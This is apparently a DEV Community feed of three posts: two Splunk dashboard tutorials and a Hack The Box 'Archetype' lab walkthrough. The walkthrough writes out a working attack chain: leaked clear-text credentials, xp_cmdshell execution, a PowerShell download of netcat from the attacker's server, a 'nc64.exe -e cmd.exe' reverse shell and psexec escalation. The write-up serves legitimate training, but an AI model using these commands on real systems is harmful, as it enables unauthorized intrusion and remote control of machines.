DEV Community: Gabe

Splunk - Buttercup Enterprise Dashboard

Gabe — Sat, 01 Feb 2025 00:22:45 +0000

The Scenario

• Buttercup Enterprises is a large national online retailer
operating in the US, which sells a variety of books, clothing
and other gifts through its online webstore
• Recently invested in Splunk and
now they want to start making use of it across the business.

My Role

My responsibility is to provide insights to following teams throughout
the company:
• IT Operations
• Dev Ops
• Business Analytics
• Security and Fraud

IT Operations team:

Investigate successful vs unsuccessful web server
requests over time

Query 1: index=main sourcetype=access_combined | timechart count by status limit=10

Visualization: Column Chart
Format: Stacked Mode
Panel Title: IT Ops - Web Server Status Codes Over Time

Let's break down this specific SPL query:
index=main sourcetype=access_combined | timechart count by status limit=10

index=main: specifies that we want to search within a specific index called "main". Think of an index like a database or a collection of data.

sourcetype=access_combined: filters the results to only include events (data points) with a source type of "access_combined". Source types are categories that describe the type of data being collected, such as network logs, system logs, or application logs. In our case access_combined refers to HTTP web server logs.

| timechart count by status limit=10: The | symbol indicates that we're piping the output of our initial query into the new part of the query.

Here's what this clause does:
timechart: This command generates a graph based on the data.
count: We want to count the number of events (data points) for each group.
by status: We want to group the results by the "status" field. Think of it like categorizing the data into different buckets based on values in that field.
limit=10: This sets a limit on the number of groups we see in the chart, showing only the top 10 most frequent statuses.

DevOps Team:

Show the most common customer operating systems and
which web browsers are experiencing the most failures

index=main sourcetype=access_combined | top limit=20 platform showperc=f

This generates a list showing the top 20 most common values for the platform field, which represents the types of devices or operating systems used in our environment.

Breaking down the SPL query:

sourcetype=access_combined: Filters to only include HTTP web server logs.
| : The | symbol pipes the output into this part of the query.
top: This command shows the most common values for a specified field. In this case, we're looking at the "platform" field, which represents the types of devices or operating systems used by customers.
limit=20: Limits the output to show only the top 20 most frequent platforms.
showperc=f: This parameter hides the percentage distribution for each platform.

index=main sourcetype=access_combined status>=400 | timechart count by useragent limit=5 useother=f

Business Analytics Team: Assessing Lost Revenue

index=main sourcetype=access_combined action=purchase status>=400 | lookup product_ codes.csv product_id | timechart sum(product_price)

This query helps the business analytics team quantify the financial impact of failed purchases by calculating the total lost revenue over time. For example, if there is a spike in failed purchases during peak shopping hours, it might indicate server overload or payment gateway issues.
By identifying these trends, the team can work with IT and marketing to address bottlenecks and improve the checkout process.
Visualization Options:

Chart Type: Line chart or area chart.
Panel Title: "Lost Revenue from Failed Purchases."
Screenshot Example:
Lost Revenue

Security & Fraud Team: Monitoring Geographic Activity

index=main sourcetype=access_combined | iplocation clientip | geostats count by City

This query helps the security and fraud team identify unusual geographic activity, such as spikes in traffic from regions where the business does not operate. For example, a sudden increase in requests from Eastern Europe might indicate a potential DDoS attack or fraudulent activity.
By monitoring these trends, the team can implement geolocation-based security measures to block suspicious traffic.

Visualization Options:
Chart Type: Heat map or world map with city-level granularity.
Panel Title: "Geographic Activity Heat Map."

Screenshot:

**Final Notes
Interactivity: Users can interact with the dashboard by hovering over data points to see tool-tips with exact values.
Updates: The dashboard should update in real-time or at regular intervals to reflect the latest data.
Permissions: Ensure that only authorized users have access to sensitive data, such as geographic activity or revenue metrics.
By organizing the queries and visualizations in this way, teams can collaborate effectively and address issues proactively.

Splunk - SSH Dashboard Creation

Gabe — Fri, 29 Nov 2024 05:18:55 +0000

Walk-through of the Splunk queries used to create a dashboard in Splunk using SSH telemetry that includes:

Top account failed
Top Source IP
Number of failed attempts by user
Successful logins
Heat map for all external activity

(Part of MyDFIR SOC Analyst Lab 1)

Query 1: index=mydfir-lab1 failed host=linuxvm source="auth.log" sourcetype=linux_auth_logs | top user can limit results with | top limit=

Visualization: Single Value
Panel Title: Top Failed Account

Shows us the name of the user with the top number of failed log in attempts.

Searching for:

Logs that are related to authentication (password acceptance)
From the "auth.log" file
On a specific machine called "linuxvm"
With logs of type "linux_auth_logs"

We're also using Splunk's built-in top command to find the top 20 users (user) that have attempted to log in. In other words, we're identifying the most frequent login attempts by username. This can be helpful for security teams to identify potential threats or suspicious activity. By using the limit=20, we're limiting our results to only show the top 20 users with the highest frequency of login attempts.

Query 2:
index=mydfir-lab1 failed host=linuxvm source="auth.log" sourcetype=linux_auth_logs | top limit=20 src_ip

Visualization: Single Value
Panel Title: Top Source IP

Replacing user with src_ip to show us the top source IP address of the failed login attempts. Again, we're using the top command to find the top 20 source IP addresses (src_ip) that have attempted to log in instead.

Query 3:

index=mydfir-lab1 failed host=linuxvm source="auth.log" sourcetype=linux_auth_logs | stats count by user | sort -count

Visualization: Statistics Table
Panel Title: Failed Attempts by User

Shows stats for failed login attempts by users. Use the stats command to count the number of times each username has attempted to log in. Finally, we're sorting our results in descending order (-count) so that we can see which usernames have attempted to log in the most frequently.

Query 4:

index=mydfir-lab1 host=linuxvm source="auth.log" sourcetype=linux_auth_logs msg="Accepted password" | iplocation src_ip| stats count by _time, Country, user, src_ip

Visualization: Statistics Table
Panel Title: Successful Attempts by User

Here we are using anothing built-in Splunk command, iplocation, to approximately geolocate the source IP addresses. Stats command to look for stats for successful logins grouping our results by _time, Country, user, and src_ip (geolocated location) and counting how many times each unique combo appears.

Query 5:
index=mydfir-lab1 host=linuxvm | iplocation src_ip |stats count by Country | geom geo_countries allFeatures=True featureIdField=Country

Visualization: Choropleth Map
Format > Colors > Color Mode: Categorical
Panel Title: Heat Map Network Activity

Finally we use the built-in geom command to visualize the geographic distribution of our results. We're creating a map that shows the countries we've geolocated, with each country represented by a marker on the map. The size and color of the markers will depend on the count value (i.e., how many times each country was seen in our logs).

Hack The Box - Archetype Walkthrough

Gabe — Wed, 10 Jul 2024 04:45:51 +0000

This box gives exposure to:
Protocols
MSSQL
SMB
Powershell
Reconnaissance
Remote Code Execution
Clear Text Credentials
Information Disclosure
Anonymous/Guest Access

Starting off with the ping command to verify that my machine can reach the target machine.

Screenshot 1: Ping command

ping {target_ip_address}

Additionally, when a packet is sent, it typically starts with an initial Time To Live (TTL) value set by the operating system (OS). By looking at the TTL of the packet we can GUESS the OS running on our target machine. Keep in mind that initial TTL values can be modified.

Common initial TTL values include:

Windows: Initial TTL of 128.
Linux/Unix: Initial TTL of 64.
Cisco routers: Initial TTL of 255.

We also see that a Microsoft SQL Server is running on port 1433 with Microsoft Windows Server 2008.

Looking at the output of the ping command in Screenshot 1, we can see that the TTL is equal to 127, so we can also guess the target machine is running Windows.

“But Gabe you just said that the TTL of Windows is 128 not 127 ☝🏽🤓”
Note that each router that forwards the packet decreases the initial TTL value by one. By the time the packet arrives at its destination (our host machine), the TTL value will have been reduced by the number of hops it took to reach us. Meaning we can assume one hop from the target machine to our machine.

Screenshot 2a: Nmap scan

Time for some enumeration with Nmap. Here we are using the Nmap command to scan for any open TCP ports on our target machine using the following options:

nmap -sC -sV -T4 {target_ip_address}

-sC (Default Script Scan): Runs a set of default Nmap Scripting Engine (NSE) scripts against the target. These scripts perform various tasks such as checking for common vulnerabilities, retrieving system information, and more.
-sV (Version Detection): Tries to determine the version of the services running on open ports by sending various probes and analyzing the responses. This helps identify the specific software and version running on a port.
-T4 (Timing Template 4): Sets the timing template to “aggressive,” which speeds up the scan by reducing wait times between probes and increasing parallelization. It’s faster than the default but may increase the likelihood of detection and missed open ports.

Screenshot 2b: Nmap scan cont.

Looking at the output of the initial Nmap scan in Screenshot 2b we can see that SMB ports are open. SMB uses either IP port 139 or 445.

Port 139: SMB originally ran on top of NetBIOS using port 139. NetBIOS is an older transport layer that allows Windows computers to talk to each other on the same network.
Port 445: Later versions of SMB (after Windows 2000) began to use port 445 on top of a TCP stack. Using TCP allows SMB to work over the internet.

We also see that a Microsoft SQL Server is running on port 1433 with Microsoft Windows Server 2008.

“What’s SMB used for anyway?☝🏽🤓”

SMB (Server Message Block) is a protocol used for sharing resources like files and printers on a network. Essentially, SMB makes it easy to share resources over a network, with Windows having it natively supported and Linux requiring a bit of setup with the open-source software suite, Samba.
Now we can use a tool called smbclient from the Impacket library, which is a powerful collection of Python classes for working with network protocols.

Screenshot 3a: Smbclient enumeration

*smbclient -N -L \\{target_ip_address}\*

-N: No password
-L: This option allows you to look at what services / shares are available on a server

If we look at the output of the smbclient command in Screenshot 3a we are presented with a few notable shares. Running the following command we can try to access each share using the -N (No password) option followed by the target IP address and the Sharename.

Screenshot 3b: Smbclient enumeration cont.

smbclient -N \\{target_ip}\{sharename}

Once successfully connected to the backups share, I noticed a file named prod.dtsConfig. After using the get {filename} command to download the file to our host machine we exit our connection to the share.

Screenshot 4: Clear text user credentials

Back in our host machine we can use the cat command to display the output of prod.dtsConfig to our screen where we find our first set of clear-text credentials for a user sql_svc with a password of M3g4C0rp123.

Screenshot 5: MSSQL user authentication using mssqlclient

In Screenshot 5, we use a tool called mssqlclient (also from the Impacket library to authenticate to the SQL server where we can begin interacting with it.

mssqlclient.py -windows-auth {domain/user}@{target_ip}

-windows-auth: Specifies to authenticate to the SQL Server using Windows authentication.

After running the command, we are prompted to enter the password for the sql_svc user which we found in previously in the prod.dtsConfig. Mssqlclient confirms that it has successfully connected to the SQL Server and changed the necessary settings. Shows the SQL Server version (Microsoft SQL Server 140 3232). We are then provided with an interactive SQL prompt (ARCHETYPE\sql_svc dbo@master) where we can enter and execute SQL commands directly on the server.

Screenshot 6: Checking of our user’s role in the server

In Screenshot 6, we are executing SQL queries to check our role and user identity.
SELECT is_srvrolemember(‘sysadmin’)
This SQL query checks if the current user is a member of the ‘sysadmin’ server role. Returns 1 if the user is a member of the ‘sysadmin’ role, 0 if not, and NULL if the role does not exist.
We receive a 1 back indicating that our current user is a member of the ‘sysadmin’ role.

We can also see below that we first tried to use the ‘whoami’ command directly into the SQL Server and we got back an error. This didn't work because ‘whoami’ is a command for the operating system, not for SQL Server. SQL Server didn’t recognize it and gave an error.

Screenshot 7: Command execution on MSSQL server

In Screenshot 7, we show that we can use the xp_cmdshell feature to correctly run the whoami command at the operating system level, allowing the SQL Server to run it and show the current domain\user.

Screenshot 8: Checking current directory

After checking for the name of our current user I also wanted to note the directory we were currently located in.

xp_cmdshell ”powershell -c pwd”

powershell: This launches PowerShell, which is a powerful command-line shell and scripting language in Windows.
-c: This tells PowerShell to execute the following command.
pwd: This is a PowerShell command that stands for “print working directory”. It shows the current directory (folder) that PowerShell is operating in.

The output shows we are located at C:\Windows\system32.

“But why does knowing the folder we’re located in matter ☝🏽🤓”

Imagine you’re in a big office building, and someone asks you to find a specific file. If they tell you the file is in the accounting department’s office (a specific room), it’s much easier to locate the file. Similarly, knowing the current directory (C:\Windows\system32) tells you exactly where you are on the computer, so you can find or place files correctly.

Screenshot 9: Checking for folders with write permissions

Next, I wanted to take a look into our current user’s directory for a good place to drop a tool called nc64.exe with the following command:

xp_cmdshell ”powershell -c dir C:\Users\sql_svc”

Netcat, often abbreviated as “nc,” is a versatile networking tool that can read and write data across network connections. By dropping the Netcat tool on the target Windows machine, we can set up a way to connect to that remote computer’s command line. This allows us to run commands and check the system without being physically present.

Screenshot 10: Setting up http server for netcat upload

In screenshot 10, I start up a simple HTTP server on port 1337 on our host machine to make the current directory accessible over the network. This starts a server that will make our nc64.exe file available at http://:1337.

sudo python -m http.server 1337

sudo: Allows you to run commands with superuser (administrator) privileges. It’s often needed for tasks that require higher permissions.
python -m http.server: This part uses Python to start a simple HTTP server. Python has a built-in module called http.server that makes it easy to serve files over the web.
1337: This specifies the port number on which the server will listen. Ports are like channels through which data is transmitted over the network. In this case, the server is using port 1337.

Screenshot 11: Pulling netcat executable from out http server on port 1337

xp_cmdshell “powershell -c cd C:\Users\sql_svc\Downloads; wget http://{host_ip_address}:1337/nc64.exe -outfile nc64.exe”

powershell: You know what this does by now hopefully
-c: Same here, if not scroll back to screenshot 8.
cd C:\Users\sql_svc\Downloads: This changes the directory to C:\Users\sql_svc\Downloads where the file will be downloaded.
wget http://{host_ip_address}:1337/nc64.exe -outfile nc64.exe: This uses the wget command to download a file from http://{host_ip_address}/nc64.exe and saves it as nc64.exe in the current directory.

We have now successfully dropped nc64.exe onto our target Windows machine.

Screenshot 12: Setting up netcat listener

sudo nc -nvlp 4444

sudo: This command allows a permitted user to execute a command as the superuser or another user, as specified by the security policy. In this case, it runs the nc command with elevated privileges.
nc: This is the Netcat utility, often referred to as the “Swiss Army knife” of networking. It can read and write data across network connections using the TCP/IP protocol.
-n: This option tells Netcat not to do DNS lookups on the IP addresses, which speeds up the process.
-v: This option enables verbose mode, providing more detailed output.
-l: This option tells Netcat to listen for an incoming connection rather than initiate a connection.
-p 4444: This specifies the port number that Netcat will listen on. In this case, we chose port 4444.

Screenshot 13: Binding cmd.exe through our netcat listener

xp_cmdshell “powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe {host_ip_address}:4444”

powershell -c cd C:\Users\sql_svc\Downloads;: This changes the directory to C:\Users\sql_svc\Downloads where the nc64.exe file is located.
.\nc64.exe -e cmd.exe 10.10.14.54 4444: This runs the nc64.exe (Netcat) program with specific options:
-e cmd.exe: This option tells Netcat to execute cmd.exe (Command Prompt) once a connection is established.
{host_ip_address} 4444: These specify the IP address (10.10.14.54) and port (4444) to connect to. This is where the listener (from the previous screenshot) is waiting for connections.

Screenshot 14: Reverse shell

Here we have created what’s known as a “reverse shell”. A type of network connection where a computer (the “target”) initiates a connection to another computer (the listener) and gives control over its command line interface to us. Using the whoami command here shows we are executing commands directly on the target machine as sql_svc.

Screenshot 15: User flag

Taking a look into the user’s Desktop, we find a user.txt file. Using type user.txt we can see the contents of the file revealing our user flag.

Screenshot 16: Checking PowerShell history to find clear text admin credentials

In screenshot 16 we cd *(change directory) into **Roaming\Microsoft\Windows\Powershell\PSReadline* then output the contents of the directory with the dir command. The **ConsoleHost_history.txt file within this directory stores command history. This means you can refer back to previous commands used by a user on the machine. Here is where we find our clear text admin credentials

Screenshot 17: Privilege escalation via psexec.py

In screenshot 17, we use psexec.py, a Python script that is part of the Impacket library, which provides a way to execute commands on remote Windows machines.

psexec.py administrator@{target_ip_address}

We can now enter the user (administrator) and password (MEGACORP_4dm1n!!) which we found from checking the console history.
Using whoami we see that we are working as NT AUTHORITY\SYSTEM, a built-in, highly privileged account that Windows uses to run essential system services and processes, with full control over the system.

Screenshot 18: Root flag

Checking the Administrator’s Desktop we find the second and final root flag.